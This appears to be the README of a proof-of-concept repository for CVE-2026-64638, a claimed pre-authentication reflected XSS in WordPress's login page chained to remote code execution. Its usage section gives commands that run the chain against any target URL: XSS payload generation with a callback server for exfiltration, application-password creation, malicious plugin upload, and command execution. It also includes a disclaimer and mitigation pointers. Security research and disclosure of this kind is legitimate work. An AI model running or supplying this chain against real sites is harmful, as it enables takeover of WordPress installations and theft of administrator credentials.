imbas007/cve-2026-64638-pocCVE-2026-64638: WordPress 認証前XSS → RCE (XSS2Shell) PoC
認証前Reflected XSS → WordPressコアにおけるリモートコード実行
⚠️ 免責事項: このリポジトリは認可されたセキュリティ研究および教育目的専用です。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。無断アクセスは違法です。SECURITY.md を参照してください。
CVE-2026-64638 は、WordPressコアのログイン/wplogin処理パイプラインにおける認証前Reflected XSSです。この欠陥は、不正な入力がPHPの strip_tags() を通過しても、その後 wp_kses_post() によってHTMLとして再構築され、攻撃者が制御するマークアップがDOMに到達できるようになるというパーサー差分に起因します。
pwn.ai の研究者は XSS2Shell を実証しました。これは、認証済み管理者が攻撃者制御のコンテンツを操作すると、デフォルトのWordPressインストール上でこのXSSを完全なPHPコード実行へと昇格させるチェーンです。
| プロパティ | 値 |
|---|---|
| CVE | CVE-2026-64638 |
| CVSS | 8.9 |
| 種別 | Reflected XSS → RCEチェーン |
| コンポーネント | WordPressコアのログインページ |
| 影響を受けるバージョン | WordPress < 7.0.3 (4.7以降にバックポート) |
| 修正済みバージョン | WordPress 7.0.3 (2026年8月6日) |
| 根本原因 | パーサー差分: strip_tags() vs wp_kses_post() |
git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC
# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain
実行内容:
[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)
./test.sh up # Start Docker + install WordPress (admin/admin123)
./test.sh scan # Detect version & patch status
./test.sh chain # Run full XSS2Shell RCE chain
./test.sh all # up + scan + chain (all-in-one)
./test.sh down # Stop containers
./test.sh clean # Stop + remove all volumes
# Or with Make
make up # Start Docker
make install # Install WordPress
make scan # Check vulnerability
make gen-xss # Generate XSS payload URL
make test-chain # Full RCE chain
make serve # Start callback server on :8080
make down # Stop containers
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md # Security policy & disclaimer
├── docker-compose.yml # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile # Shortcut commands
├── test.sh # Automated test suite
├── requirements.txt # Python dependencies
│
├── xss2shell_chain.py # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py # Version detection + username reflection test
├── xss2shell_checker.py # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py # Callback server for XSS exfiltration
├── xss_payload.html # Interactive XSS PoC (browser)
│
└── docs/
├── CHAIN.md # Technical breakdown of all 7 chain stages
├── MITIGATION.md # Defensive guidance + detection rules
└── PAYLOAD_NOTES.md # Notes on the CVE-specific bypass payload
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com
# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080
# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
-u https://target.example.com \
--user admin --pass "password" \
--cmd "id"
# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"
詳細は docs/CHAIN.md を参照してください。
┌─────────────────────────────────────────────────────────────────┐
│ 1. Reflected XSS on wp-login.php (failed-login error page) │
│ 2. DOM clobbering to manipulate page context │
│ 3. JSONP / Same-Origin Method Execution (SOME) │
│ 4. Application Password creation via REST API │
│ 5. REST API access with stolen Application Password │
│ 6. Malicious plugin/theme upload │
│ 7. PHP code execution → full RCE │
└─────────────────────────────────────────────────────────────────┘
注記: ステージ3〜7では、ログイン済み管理者がXSSペイロードを操作することが必要です。この脆弱性は認証前に存在しますが、完全なRCEチェーンを完了するには管理者レベルのアクセスが必要です。
詳細な堅牢化と検出ルールについては docs/MITIGATION.md を参照してください。
セキュリティ研究およびPoC。教育目的専用です。
MIT — 詳細は LICENSE を参照してください。